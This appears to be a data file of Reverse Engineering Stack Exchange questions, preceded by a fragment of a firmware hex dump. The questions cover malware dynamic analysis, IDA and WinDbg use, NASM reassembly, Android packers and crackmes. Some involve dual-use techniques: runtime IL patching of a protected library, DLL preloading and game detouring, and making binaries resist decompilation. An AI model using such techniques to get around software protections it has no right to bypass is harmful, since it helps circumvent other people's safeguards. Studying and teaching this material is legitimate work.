+0x000000F0  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|
+0x00000100  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|
+0x00000110  A7 59 01 08 6D 5B 01 08 73 08 02 08 6F 11 01 08 |.Y..m[..s...o...|
+0x00000120  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|
+0x00000130  00 F0 02 F8 00 F0 66 F8 0A A0 90 E8 00 0C 82 44 |......f........D|
+0x00000140  83 44 AA F1 01 07 DA 45 01 D1 00 F0 5B F8 AF F2 |.D.....E....[...|
+0x00000150  09 0E BA E8 0F 00 13 F0 01 0F 18 BF FB 1A 43 F0 |..............C.|
+0x00000160  01 03 18 47 4C D6 01 00 6C D6 01 00 10 F8 01 3B |...GL...l......;|
+0x00000170  0A 44 13 F0 03 04 08 BF 10 F8 01 4B 1D 11 08 BF |.D.........K....|
+0x00000180  10 F8 01 5B 64 1E 05 D0 10 F8 01 6B 64 1E 01 F8 |...[d......kd...|
+0x00000190  01 6B F9 D1 00 2D 15 D0 10 F8 01 4B 03 F0 0C 03 |.k...-.....K....|
+0x000001A0  0C 2B A1 EB 04 04 0A BF 10 F8 01 3B A4 EB 83 14 |.+.........;....|
+
+" +"['windows', 'malware', 'dynamic-analysis']"," Title: Most efficient way to begin analyzing malware binaryBody: I'm taking a reverse engineering course and the class has just been given a big project where we have to analyze a packed malware binary. I am using a Windows 10 VM. I am a little confused on where to begin. The professor has mentioned that the best place to start is by taking a snapshot of your initial system setup, running the malware, and then ""figuring out what has changed"". + +My strategy is as follows: + +
    +
  1. Take a memory backup of my initial VM state.
  2. +
  3. Set up my VM so that a network connection is available, but doesn't actually connect to the internet.
  4. +
  5. Run the malware (in a debugger? outside of a debugger?).
  6. +
  7. ???
  8. +
+ +This is where I get a little iffy. I am not sure what ""checking for changes on the system"" entails. Does this mean I need to take a memory dump of the OS state after the malware has run? What should I be looking for within the memory dump? Is there some tool that identifies meaningful changes between my starting state and the state after the malware runs? Do I need to audit the registry keys to see what has been changed? If I know the malware uses the network, should I be running Wireshark? + +Ultimately, I am not sure what the most efficient approach is. It is a pretty powerful piece of malware with a lot of functionality and I want to make sure I collect all necessary information upfront so I don't waste time later in the project. + +Thank you +" +"['ida', 'memory']"," Title: IDA memory mirroringBody: I am trying to reverse engineer an embedded firmware in IDA. It mirrors memory address 0x80000000-0x81FFFFF to 0xA0000000-0xA1FFFFFF. +How do I setup IDA to recognise memory mirroring. +" +['ida']," Title: Is it possible to import an open source framework into a closed source project in ida?Body: I am working on reversing a closed source project that uses a well known open source framework. + +I am thinking that theoretically, by diffing the program and the framework, I should at least get a few matches that could aid me in cleaning up and understanding more of what I'm doing. + +Is there something that does this for me? +" +"['radare2', 'reassembly', 'nasm']"," Title: Reassembling reversed ASMBody: I am trying to reassemble code reversed from an executable using radare2. I have managed to extract the asm and am using nasm for reassembling. + +The question is, the code also contains commands like +byte ptr [esi],pushal, fucomi st(3) and sqrtps xmm5, xmmword [edx - 1] which I'm unfamiliar with. + +I tried assembling with the nasm -felf -o command. However, I'm getting the following errors. + + + +
test.asm:68: error: comma, colon, decorator or end of line expected after operand
+test.asm:69: error: comma, colon, decorator or end of line expected after operand
+test.asm:85: error: comma, colon, decorator or end of line expected after operand
+test.asm:133: error: comma, colon, decorator or end of line expected after operand
+test.asm:167: error: impossible combination of address sizes
+test.asm:167: error: invalid effective address
+test.asm:298: error: symbol `pushal' redefined
+test.asm:423: error: comma, colon, decorator or end of line expected after operand
+test.asm:637: error: comma, colon, decorator or end of line expected after operand
+test.asm:802: error: symbol `pushal' redefined
+
+
+ +According to this stackoverflow post, the keyword ptr does not exist in nasm and it suggested that the word be removed. Doing that resolved a few errors. Now I have the following errors: + + + +
test.asm:68: error: comma, colon, decorator or end of line expected after operand
+test.asm:69: error: comma, colon, decorator or end of line expected after operand
+test.asm:85: error: comma, colon, decorator or end of line expected after operand
+test.asm:133: error: comma, colon, decorator or end of line expected after operand
+test.asm:298: error: symbol `pushal' redefined
+test.asm:423: error: comma, colon, decorator or end of line expected after operand
+test.asm:637: error: comma, colon, decorator or end of line expected after operand
+test.asm:802: error: symbol `pushal' redefined
+
+
+ +Since I have no idea what pushal and sqrtps mean, I'm reluctant to remove them from the code. Could someone please explain what these commands mean? + +Additionally suggestions on how I can get this as a compilable error-free code are also welcome. + +EDIT: +Following user blabb s suggestion, i replaced pushal with pushad and now I have only 2 errors + + + +
test.asm:80: error: comma, colon, decorator or end of line expected after operand
+test.asm:127: error: comma, colon, decorator or end of line expected after operand
+
+ +The 2 lines in question are: + + + +
fucomi st(3)
+and
+sqrtps xmm5, xmmword [edx - 1]
+
+ +any suggestions as to how to handle this? + +EDIT 2: +including lines 76-83 + + + +
pop esi
+int3
+sti
+xor ebx,ebx
+fucomi st(0),st(3)
+jmp 0x400299
+pop es
+xor ebx, ebx
+
+ +and lines 122-132 + + + +
add cl, bh
+iretd
+mov dr0, ebx
+and eax, ebx
+ret
+push 0xf
+sqrtps xmm5, xmmword [edx - 1]
+push ecx
+push 0xffffffffffffffff
+call dword [ecx + 0x51]
+push ecx
+
+ +EDIT3: +Based on user blabb s suggestion and also by referring the NASM docs, I found that NASM does not accept st(0),st(3) and instead it accepts st0,st3. Now only one error left. + +
test.asm:127: error: comma, colon, decorator or end of line expected after operand
+
+ +Still did not understand how to handle this. +" +"['disassembly', 'assembly', 'c#']"," Title: C# Changing method body in runtimeBody: I am trying to change a part in a third party library, it has a bug, however, there are no fixes and source code is not available as well. + +At first, I tried to modify IL Opcodes directly by disassembling an assembly, but it has some kind of protection, so after recompiling it I was not able to use it even that I had removed Strong Name verification from it. + +I have tried to change IL instructions in runtime, however + +
        InjectionHelper.Initialize();
+        InjectionHelper.WaitForIntializationCompletion();
+        Type type = obj.GetType();
+        var methods = type.GetMethods();
+       // MethodInfo targetMethod = type.GetMethod(""MethodName"",  BindingFlags.NonPublic | BindingFlags.Instance);
+
+        var methodInfo = type
+            .GetMethods(BindingFlags.NonPublic | BindingFlags.Instance).Single(
+                m =>
+                    m.ReturnType == typeof(string) &&
+                    m.GetParameters().Length == 1);
+
+        RuntimeHelpers.PrepareMethod(methodInfo.MethodHandle);
+        byte[] ilOpCodes = methodInfo.GetMethodBody()?.GetILAsByteArray();
+        for (int i = 0; i < ilOpCodes.Length; i++)
+        {
+            if (ilOpCodes[i] == OpCodes.Ldc_I4_1.Value)
+            {
+                ilOpCodes[i] = (byte) OpCodes.Ldc_I4_0.Value;
+                break;
+            }
+        }
+        InjectionHelper.UpdateILCodes(methodInfo,ilOpCodes);
+
+ +But unfortunately got an exception. + +
Unhandled Exception: System.Exception: UpdateILCodes() failed, please check the initialization is failed or uncompleted.
+
+ +Is there any mistake I made? I used this article as a reference https://www.codeproject.com/Articles/463508/NET-CLR-Injection-Modify-IL-Code-during-Run-time +So what is the best way to make it usable? +" +"['ida', 'dll', 'dll-injection', 'asm']"," Title: Permanently load a DLL to an executableBody: With the help of IDA I was able to hard-code changes into an executable by simply replacing some bytes with a hex editor, what I did was to change the resolution to something larger. + +I've learnt that it's possible to do a similar thing with hooks, so I transferred all of the edits to multiple hooks. Now the issue is that I need to load my newly created DLL before anything else which means using a different method other than simply injecting it. + +I hope this makes sense, what would be the best method to achieve this? +" +"['ida', 'firmware', 'elf', 'file-format']"," Title: Disassembling Hexagon - Corrupted ELFBody: I downloaded and unpacked the modem from Google source, after that +I used laginimaineb's script to unify all modem binary data. However, when loading this binary to IDA, I get an error says: +
+
Binary data is incorrect, maximum possible value is xxxxxx
+
+
+I tried to do the same thing by pulling this modem.b* from the device itself. The same behavior. +I opened up this binary into 010 Editor and check the section size, and it seems like the sections have a size bigger than the binary size. +How could I fix the binary? Assuming that the first sections are valid, could I use that information to calculate the further section sizes? +" +"['windows', 'dll-injection']"," Title: Detouring with Unreal Engine 4, importing exe functionsBody: I'm not sure that this is the right SO community to be asking this in, but I thought I'd give it a try. Some friends and I have successfully detoured a game built with UE4 by loading a modified xinput_3.dll. The annoyance is now that types from functions we detour need to be recreated in some method. Up until now, my friends have just been disassembling and recreating on our side of the fence. I had the idea to just compile using the UE4 headers since they're publicly available. I've finagled my way into being able to include their files, but trying to use anything results in unresolved symbols. + +Everything is marked __declspec(dllimport) so evidently I need to be linking against something. + +Is it possible to link against the game exe to obtain these imports since UE4 is statically linked into it? Alternatively (though all my research suggests not), can UE4 be built into a dll? +" +"['ida', 'gdb', 'memory', 'breakpoint']"," Title: GUARD_PAGE memory breakpoints with gdb?Body: I came across a question the other day on reddit: How can we use PAGE_GUARD-based memory breakpoints in GDB (not hardware breakpoints)? + +Ollydbg, x64dbg and IDA PRO all support these types of breakpoints, but I couldnt find a way in GDB. + +If this is not available, is it possible to set the PAGE_GUARD bit manually in GDB? +" +"['x64dbg', 'breakpoint', 'winapi']"," Title: x64dbg how to set conditional breakpoint on WinAPI functionBody: I am trying to solve a GUI based crackme. https://crackmes.one/crackme/5c68758633c5d4776a837cc4 so that I learn security. I want to set a conditional Break point on user32.CallWindowProcA. Microsoft Documents this function as follows + +
LRESULT CallWindowProcA(
+  WNDPROC lpPrevWndFunc,
+  HWND    hWnd,
+  UINT    Msg,
+  WPARAM  wParam,
+  LPARAM  lParam
+);
+
+ +I set the following conditional break points for WM_LBUTTONDOWN (0x202) as follows. But they are not being hit when I click the button :( help + +
Type     Address  Module/Label/ State   Disassembly                            Hits Summary                                              
+Software                                                                            
+         0041A995 crackme-4.exe Enabled push ebp                               3255 sub_41a995 ?dialogProc?, breakif(arg.get(1) == 0x202)
+         0041B9A2 crackme-4.exe Enabled call dword ptr ds:[<&CallWindowProcA>] 1713 breakif((1:[esp+0xc] == 0x202) )
+         0041F086 crackme-4.exe Enabled call dword ptr ds:[<&CallWindowProcA>] 0    breakif((1:[esp+0xc] == 0x202))
+         0041F11B crackme-4.exe Enabled call dword ptr ds:[<&CallWindowProcA>] 273  breakif((1:[esp+0xc] == 0x202))
+         00437E9E crackme-4.exe Enabled mov byte ptr ss:[ebp-4],21             0    
+         749055C0 user32.dll    Enabled mov edi,edi                            636  breakif(arg.get(1) == 0x202)
+
+ +I have read through and tried +x64dbg - Conditional breakpoint based on function argument but i could not get it to work for me. +" +['x86']," Title: Modify formula by adding a subtractionBody: I have the following Assembler Code in a x86 Program and I need to modify it as it is buggy: + +
fld     ds:(flt_203B8 - 29C48h)[ebx]
+fdivr   dword ptr [esi+44h]
+fmul    ds:(flt_203BC - 29C48h)[ebx]
+fisttp  [ebp+var_334]
+mov     eax, [ebp+var_334]
+cmp     eax, 0Fh
+jg      short greater
+
+test    eax, eax
+mov     edx, 0
+cmovs   eax, edx
+jmp     short valueWithinLimits
+
+
+greater:
+mov     eax, 0Fh
+
+valueWithinLimits:
+....
+
+ +In Pseudocode this is + +
v29 = (signed int)(*(float *)(v3 + 68) / 40.0 * 15.0);
+if ( v29 > 15 )
+{
+  v29 = 15;
+}
+else if ( v29 < 0 )
+{
+  v29 = 0;
+}
+
+ +I need to insert the following line as second line: + +
v29 = 15 - v29;
+
+ +Is there any way I can do that without needing any more space? I assume no but maybe someone has a smart Idea here what can be done in this case. +" +"['cryptography', 'usb', 'hash-functions']"," Title: Does anyone recognise following (USB,HID?) encoding method?Body: Im reverse engineering a Keyborard RGB LED Control Software and there is a Library called ""HidServ.dll"" that seems to be the interface between the Keyboard and the Software. Every Function of that Library is called like this for example: +(This is my translation of the assembler code, the function names are not the real ones) + +
int arghash1 = ArgHash(0, arg1, arg1len);
+int arghash2 = ArgHash(ahash1, arg2, arg2len);
+int arghash3 = ArgHash(ahash2, arg3, arg3len);
+
+int count = HidServ.RequestGetDeviceCount(arg1, arg2, arg3, arghash3, 0);
+
+ +It seems to compute some kind of hash of the first 3 arguments. Heres the the ArgHash function: + +
public unsafe static int ArgHash(int startvalue, byte* argumentPtr, int length)
+{
+
+    for (int i = 0; i < length; i++)
+    {
+        startvalue += cryptarray[*(argumentPtr + i)];
+    }
+
+    return startvalue;
+}
+
+ +So basically the function adds together the values of cryptarray on the indexes of the values of each byte of an argument. + +The cryptarray is 256 bytes long and looks like this: + +
private static byte[] cryptarray = new byte[]
+    {
+        0xFD, 0x86, 0xD1, 0xCA, 0xDB, 0xD5, 0xCC, 0x5E, 0x02, 0x0E, 0xE0, 0xB6, 0xA9, 0xF7, 0x6D, 0xA8,
+        0xE2, 0x77, 0x0D, 0x09, 0xFE, 0x3D, 0x9A, 0x0B, 0x28, 0x85, 0xDC, 0xC3, 0x52, 0x48, 0x00, 0x01,
+        0xBE, 0x79, 0x51, 0xFF, 0xB7, 0x83, 0xA2, 0x14, 0x10, 0x20, 0x82, 0xED, 0xD9, 0x16, 0x43, 0x4F,
+        0x1C, 0x90, 0xC6, 0xD8, 0xBF, 0x56, 0x0C, 0x5C, 0xAA, 0xD3, 0x95, 0x0A, 0x73, 0x21, 0x67, 0xEB,
+        0xDD, 0xA4, 0x8E, 0x26, 0xB8, 0xF2, 0xE8, 0x25, 0x1F, 0x59, 0x66, 0x1D, 0x61, 0x1E, 0xBB, 0xE5,
+        0x99, 0xC5, 0x8F, 0xBC, 0xA6, 0xEE, 0x33, 0xB0, 0x53, 0x89, 0xD0, 0x2E, 0xC7, 0x88, 0xCE, 0x45,
+        0x4C, 0xB2, 0x23 ,0x76, 0xB1, 0xF0, 0xF8, 0xCD, 0xFC, 0x06, 0x19, 0x29, 0x37, 0x98, 0x7E, 0x22,
+        0xA7, 0xDA, 0x32, 0x60, 0x08, 0x8C, 0x24, 0x8A, 0x84, 0xC4, 0x4A, 0x12, 0x70, 0xB9, 0x49, 0x74,
+        0x30, 0xE1, 0x2A, 0x4E, 0x2D, 0x4B, 0x7C, 0x5F, 0x71, 0xC8, 0x04, 0x41, 0x81, 0x63, 0x3F, 0xF3,
+        0x6C, 0xF1, 0x8D, 0x9B, 0x6E, 0xAD, 0x6F, 0xB3, 0x38, 0x54, 0x2C, 0x87, 0x64, 0x7B, 0x0F, 0xC9,
+        0xFA, 0xC0, 0xDF, 0xFB, 0xF4, 0xD7, 0x07, 0x92, 0x69, 0xC2, 0x7D, 0x1B, 0x80, 0x68, 0xB4, 0x15,
+        0x47, 0x50, 0x57, 0x39, 0x3B, 0x2B, 0x5A, 0xD4, 0x13, 0x6B, 0xB5, 0x3E, 0x1A, 0xE3, 0x9D, 0xF9,
+        0x17, 0x35, 0x46, 0x78, 0x75, 0xA5, 0x6A, 0x55, 0x9C, 0x4D, 0xEC, 0xA3, 0x36, 0x31, 0xE9, 0xF6,
+        0x62, 0xEF, 0x40, 0xC1, 0xBD, 0x94, 0x3A, 0x96, 0x11, 0x97, 0x7F, 0x72, 0x9E, 0x7A, 0xBA, 0xE6,
+        0xCF, 0xAF, 0x18, 0x44, 0xEA, 0x03, 0x9F, 0x2F, 0x93, 0xCB, 0x8B, 0xD6, 0xE4, 0x58, 0x5D, 0xA1,
+        0x27, 0xE7, 0xAC, 0x91, 0xAB, 0x34, 0x3C, 0x05, 0xAE, 0x5B, 0x42, 0x65, 0xA0, 0xF5, 0xD2, 0xDE
+    };
+
+ +Does anyone know which Encryption algorythm this is? Is it the USB CRC5 Algorythm? +" +"['ida', 'idapython', 'ida-plugin']"," Title: Use idapython to print register or memory value when the debugger is runningBody: I want to record the value of a certain register or specific memory location when the program is being debugged. +e.g. in the following segment: + +
.text:0FD6268D                 shr     ecx, 4
+.text:0FD62690                 and     esi, 0Fh
+.text:0FD62693                 movzx   ecx, ds:byte_FF27790[ecx]
+.text:0FD6269A                 mov     [edx], cl
+.text:0FD6269C                 inc     dword ptr [eax]
+.text:0FD6269E                 mov     edx, [eax]
+
+ +This is a part of a function which is accessed many times and I want to print, to file, the values of: + +ecx @.text:0FD6268D and ds:byte_FF27790 @.text:0FD62693. +I need this printed every time the program gets there during the debugging. + +How can I accomplish this using idapython? +" +"['ida', 'decompilation']"," Title: Unable to decompile C CodeBody: Recently, i have gone through some kind of win32-64 executable files which can't be decompiled under IDA (into Pseudocode). Only the Assembly Code can be read. When i try to press F5 to decompile the file,it only shows me a Diaglog Box says ""Positive Stack Value found"".The Debugging process is still fine.It's just i can't not decompile the file into c source code. + +I wonder how can they do that? I mean they can make the executable unable to decompile under IDA or maybe other Disassembler. + +I want to accomplish this using other compilers such as GCC,MinGW,Clang,or even Turbo. +" +"['c++', 'android', 'c', 'java']"," Title: Reverse engineering android native packerBody: im trying to Reverse engineering an android app and the app have 4 folders in the /data/data/{package} folder + +
├───app_dexprotector
+│       823517D25836B88F1C499C02370A047E.dat
+│       823517D25836B88F1C499C02370A047E.dex
+│
+├───app_outdex
+│       libdexprotector.bpqn57.12456.so
+│
+├───cache
+└───lib
+        libiconv.so
+        libzbarjni.so
+
+ +and all the files are the same except app_outdex file and when I start the app app_dexprotector folder will be modified after that a file will create on app_outdex then will delete immediately I create a copy of that file with Termux and inotify-wait and the interesting part is always the size of the file is different i searched the java code of the app and there is only an application class with a huge bytecode array and one native method like this : + +
    public static native int tfAHDD(Object obj, int I, int i2, int i3, int i4, int i5, int i6, int i7, int i8);
+
+ +the whole class is so long but it's only because of the byte array this is the link of the class my main questions are why the file has different sizes every time and why there are not other native methods? how the app will run this method and finally how can I analysis this .so file +" +"['debugging', 'gdb', 'breakpoint', 'qemu', 'hypervisor']"," Title: Using GDB to trace guest OS inside a hypervisor, the whole running on Qemu - kvmBody: I use Gdb to trace the execution (breakpoint, single stepping, ...) of a hypervisor OS in Qemu and it works fine so far. + +
qemu-system-x86_64 -enable-kvm -display sdl -cpu host -serial my: stdio -m 8192 --bios ../../tool/boot/tianocore.bin -drive format = raw, file = var / run /hypervisor.img -machine q35 -s -S
+gdb path/to/hypervisor
+target remote: 1234
+
+ +Now, I need to trace the execution of a guest OS in the hypervisor, all run by Qemu. And it does not work. +Yet I added the debugging symbols files related to the OS and I also modified the architecture of the instructions. + +
add-symbol-file ~ / Tinycore / vmlinux 0x100000
+add-symbol-file bin / munich 0x18000
+set architecture i386: x64_32 // because the guest OS is compiled in 32 bits
+
+ +But when execution passes the instructions vmresume, vmlauch and continues in the guest OS, Gdb gets confused, single-stepping does not work anymore and breakpoints end up at uncertain addresses.
+Does anyone have an idea of ​​what I missed?
+Or is it really impossible?
+Is there another way to achieved this?
+The hypervisor I'm working on is Genode and the guest OS is Tinycore Linux. + +
+ +
    +
  1. munich is a 32 bits bootloader used to boot the Tinycore Linux.
  2. +
  3. hypervisor, vmlinux and munich are the binaries compiled with debugging symbols.
  4. +
+" +"['ida', 'disassembly', 'arm']"," Title: Finding function at offset loaded with ADRP/ADDBody: I have this assembly: + +
ADRP            X8, #off_FFFFFFF006F1E960@PAGE
+ADD             X8, X8, #off_FFFFFFF006F1E960@PAGEOFF
+LDR             X0, [X8] ; qword_FFFFFFF0077F08A8
+LDR             X8, [X0]
+LDR             X8, [X8,#0x60]
+BLR             X8
+
+ +I'd like to know what is contained in X8 when BLR is called. + +I tried doing FFFFFFF006F1E960+0x60 but it points in the middle of unk_FFFFFFF006F1E97, specifically it points at the following bytes: 0x54,0x45,0x55,7,0xF0,0xFF,0xFF,0xFF.... I've tried converting this into code but command MakeCode failed. + +What exactly is this doing? +" +"['pe', 'c#', 'offset']"," Title: Calculating offset from push instruction in exe to string in data sectionBody: So I'm looking for some guidance on this topic. + +If I open up my exe in a Hexeditor and go to the location where the address of the string is pushed as argument I have the following: + +
68 7C 9D F1 01 - push 01F19D7C
+
+ +The string in the exe however is at 01ADC808. + +I do have the same exe but for a different language. + +
68 78 DE F0 01 - push 01F0DE78
+
+ +and the string is at 01B94B0C. + +Looking at it in Ghidra for example, the address from the push instruction matches the location of the string. So currently my best guess is, that Ghidra aligns the data properly with info from the PE Header. + +I'm writing a tool that modifies that string. Patterns could be created for each version, however I'd like a rather ""universal"" way to solve this. + +Additionally, here's the overview for the Section Headers for the first example: + + +Feel free to let me know if my question was not clear enough or more information is required! + +Thanks in advance for any advice! :) + +EDIT: Forgot to mention the tool I'm writing is written in C#. +" +"['windows', 'windbg', 'kernel']"," Title: windbg - What is the relation between the VAD (!vad), the PTEs (!pte), and loaded modules and sections (lm and !dh)?Body: [cross-posted (but closed the original) from https://stackoverflow.com/q/55438806/254959] + +I'm trying to gain a better understanding on Windows process memory, and have some gaps with regards to the relationship between the VAD tree, the PTEs and loaded modules. + +The output below are captured from a kernel debugging session, but in the context of a simple process which runs a simple compiled ""hello world"" C program. + +
    +
  1. When I do an lm, there are many modules listed, but when I do a !vad, I only see 5 mapped in (my own process binary and 4 other Windows DLLs).
  2. +
+ +
kd> lm
+start             end                 module name
+00007ffd`ea8f0000 00007ffd`ea91b000   vertdll    (deferred)             
+00007ffd`ea920000 00007ffd`eab00000   ntdll      (pdb symbols)          C:\ProgramData\Dbg\sym\ntdll.pdb\13B64B553003FA22AB7CCD36A3A5431F1\ntdll.pdb
+fffff416`a3800000 fffff416`a3b94000   win32kfull   (deferred)             
+fffff416`a3ba0000 fffff416`a3db2000   win32kbase   (deferred)             
+fffff416`a3dc0000 fffff416`a3dca000   TSDDD      (deferred)             
+fffff416`a3dd0000 fffff416`a3e11000   cdd        (deferred)             
+fffff416`a4290000 fffff416`a4307000   win32k     (deferred)             
+fffff800`a5c01000 fffff800`a64d3000   nt         (pdb symbols)          C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\31C51B7D1C2545A88F69E13FC73E68941\ntkrnlmp.pdb
+fffff800`a64d3000 fffff800`a6552000   hal        (deferred)             
+fffff800`a6600000 fffff800`a6647000   kd_02_8086   (deferred)             
+...
+fffff80b`85960000 fffff80b`8597c000   disk       (deferred)             
+...
+
+ +
kd> !vad
+VAD           Level     Start       End Commit
+ffff8908f102b0c0  4     7ffe0     7ffe0      1 Private      READONLY           
+ffff8908ef465290  3     7ffe1     7ffef     -1 Private      READONLY           
+ffff8908f169f100  4   fb63c20   fb63d1f      6 Private      READWRITE          
+ffff8908ef4c86e0  2   fb63e00   fb63fff      3 Private      READWRITE          
+ffff8908ef17e3b0  3  2e38e030  2e38e03f      0 Mapped       READWRITE          Pagefile section, shared commit 0x10
+ffff8908ef592280  4  2e38e040  2e38e046      1 Private      READWRITE          
+ffff8908f1873410  1  2e38e050  2e38e068      0 Mapped       READONLY           Pagefile section, shared commit 0x19
+ffff8908ef106a00  3  2e38e070  2e38e073      0 Mapped       READONLY           Pagefile section, shared commit 0x4
+ffff8908f19eea10  2  2e38e080  2e38e080      0 Mapped       READONLY           Pagefile section, shared commit 0x1
+ffff8908f0fba340  3  2e38e090  2e38e090      1 Private      READWRITE          
+ffff8908f0fdc980  0  2e38e0a0  2e3900a0      1 Private      READWRITE          
+ffff8908ef215060  3  2e390130  2e39022f     17 Private      READWRITE          
+ffff8908ef084860  2  2e390230  2e3902f4      0 Mapped       READONLY           \Windows\System32\locale.nls
+ffff8908f14e3e90  3 7ff67f9a0 7ff67fa9f      0 Mapped       READONLY           Pagefile section, shared commit 0x5
+ffff8908ef3025c0  1 7ff67faa0 7ff67fac2      0 Mapped       READONLY           Pagefile section, shared commit 0x23
+ffff8908f0ef7c70  4 7ff67fe30 7ff67fe51      3 Mapped  Exe  EXECUTE_WRITECOPY  \Users\user\Desktop\test\x64\Release\test.exe
+ffff8908ef6ad770  3 7ffde5240 7ffde52c7      5 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\apphelp.dll
+ffff8908ef1bcf70  4 7ffde7470 7ffde76d5      8 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\KernelBase.dll
+ffff8908f16717a0  2 7ffde9270 7ffde931d      5 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\kernel32.dll
+ffff8908f0e50c30  3 7ffdea920 7ffdeaaff     12 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\ntdll.dll
+
+ +When I !pte and even db on one of the modules that is not in the !vad output (specifically, the disk module), it is a valid, mapped-in address, and I can even read its content. + +
kd> !pte fffff80b`85960000
+                                           VA fffff80b85960000
+PXE at FFFFFB7DBEDF6F80    PPE at FFFFFB7DBEDF0170    PDE at FFFFFB7DBE02E160    PTE at FFFFFB7C05C2CB00
+contains 0000000001109063  contains 0A0000007E55D863  contains 0A00000002A81863  contains 890000007D044963
+pfn 1109      ---DA--KWEV  pfn 7e55d     ---DA--KWEV  pfn 2a81      ---DA--KWEV  pfn 7d044     -G-DA--KW-V
+
+ +
kd> db fffff80b`85960000
+fffff80b`85960000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
+fffff80b`85960010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
+fffff80b`85960020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
+fffff80b`85960030  00 00 00 00 00 00 00 00-00 00 00 00 d8 00 00 00  ................
+fffff80b`85960040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
+fffff80b`85960050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
+fffff80b`85960060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS 
+fffff80b`85960070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......
+
+ +Why then, does !vad not contain this entry? + +
    +
  1. When I !dh on one of the loaded PEs, e.g., the EXE for my own process, I can see that it consists of different sections with different memory access protection.
  2. +
+ +
kd> !dh 7ff67fe30000
+
+File Type: EXECUTABLE IMAGE
+FILE HEADER VALUES
+    8664 machine (X64)
+       6 number of sections
+5CA04653 time date stamp Sat Mar 30 21:47:15 2019
+
+       0 file pointer to symbol table
+       0 number of symbols
+      F0 size of optional header
+      22 characteristics
+            Executable
+            App can handle >2gb addresses
+
+...
+
+SECTION HEADER #1
+   .text name
+   10FA0 virtual size
+    1000 virtual address
+   11000 size of raw data
+...
+60000020 flags
+         Code
+         (no align specified)
+         Execute Read
+
+SECTION HEADER #2
+  .rdata name
+    96F6 virtual size
+   12000 virtual address
+    9800 size of raw data
+   11400 file pointer to raw data
+...
+40000040 flags
+         Initialized Data
+         (no align specified)
+         Read Only
+
+...
+
+SECTION HEADER #6
+  .reloc name
+     614 virtual size
+   21000 virtual address
+     800 size of raw data
+...
+42000040 flags
+         Initialized Data
+         Discardable
+         (no align specified)
+         Read Only
+
+ +And, according to the Windows Internals book, + +
+ There is one VAD for each virtually contiguous range of not-free virtual addresses that all have the same characteristics (reserved versus committed versus mapped, memory access protection, and so on). +
+ +So I would expect that each loaded module would be represented by a few VAD entries, for each section with different memory access protection. + +But !vad shows each loaded module as a single entry with the permission EXECUTE_WRITECOPY. + +
kd> !vad
+VAD           Level     Start       End Commit
+...
+ffff8908f0ef7c70  4 7ff67fe30 7ff67fe51      3 Mapped  Exe  EXECUTE_WRITECOPY  \Users\user\Desktop\test\x64\Release\test.exe
+ffff8908ef6ad770  3 7ffde5240 7ffde52c7      5 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\apphelp.dll
+ffff8908ef1bcf70  4 7ffde7470 7ffde76d5      8 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\KernelBase.dll
+ffff8908f16717a0  2 7ffde9270 7ffde931d      5 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\kernel32.dll
+ffff8908f0e50c30  3 7ffdea920 7ffdeaaff     12 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\ntdll.dll
+
+ +Why is that so? + +
    +
  1. In that case, how can I have a complete picture of the memory pages that are accessible by a process, and their associated memory access protection? Initially, I thought of relying on !vad output, but seems like it doesn't give a complete picture? Does it mean that I should iterate through and run !pte on every multiple of 0x1000 from 0x0 to 0xFFFFFFFFFFFFFFFF?
  2. +
+" +"['windows', 'windbg', 'kernel']"," Title: windbg - Why does the GS register resolve to offset 0x0?Body: I'm trying to understand how to resolve segment addressing (specifically the GS register in X64). + +My toy program: + +
int main()
+{
+    unsigned long long x;
+    __debugbreak();
+    x = __readgsqword(0x30);
+    printf(""0x%I64X"", x);
+}
+
+ +which compiles to: + +
kd> u
+00007ff6`10201074 cc                 int     3
+00007ff6`10201075 65488b142530000000 mov   rdx,qword ptr gs:[30h]
+...
+
+ +Then I step once to reach the instruction which reads memory using the GS register, and I retrieve the value of the GS register, the content of the GDT, etc. + +
kd> r @gs
+gs=002b
+
+kd> r @gdtr
+gdtr=fffff80105471fb0
+
+kd> .formats @gs
+Evaluate expression:
+  Hex:     00000000`0000002b
+  ...
+  Binary:  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00101011
+
+kd> dq (@gdtr + (5 * 8)) L1
+fffff801`05471fd8  00cff300`0000ffff
+
+kd> .formats poi(@gdtr + (5 * 8))
+Evaluate expression:
+  Hex:     00cff300`0000ffff
+  ...
+  Binary:  00000000 11001111 11110011 00000000 00000000 00000000 11111111 11111111
+
+kd> dg gs
+                                                    P Si Gr Pr Lo
+Sel        Base              Limit          Type    l ze an es ng Flags
+---- ----------------- ----------------- ---------- - -- -- -- -- --------
+002B 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3
+
+ +So from dg gs, I can see that the GS segment is at offset 0x0, which is consistent with the entry retrieved from the GDT using the GS register value. + +Observe that at this point, offset 0x0 is not ""valid"" memory: + +
kd> dq gs:[30]
+002b:00000000`00000030  ????????`???????? ????????`????????
+
+kd> dq 30
+00000000`00000030  ????????`???????? ????????`????????
+
+ +Also note that the value of RDX at this point (before storing the QWORD retrieved from memory): + +
kd> r @rdx
+rdx=000001dfbf892d40
+
+ +Then I step once, expecting a bug check as I am retrieving invalid memory. + +But surprisingly, it doesn't, and RDX appeared to have gotten assigned a value from somewhere: + +
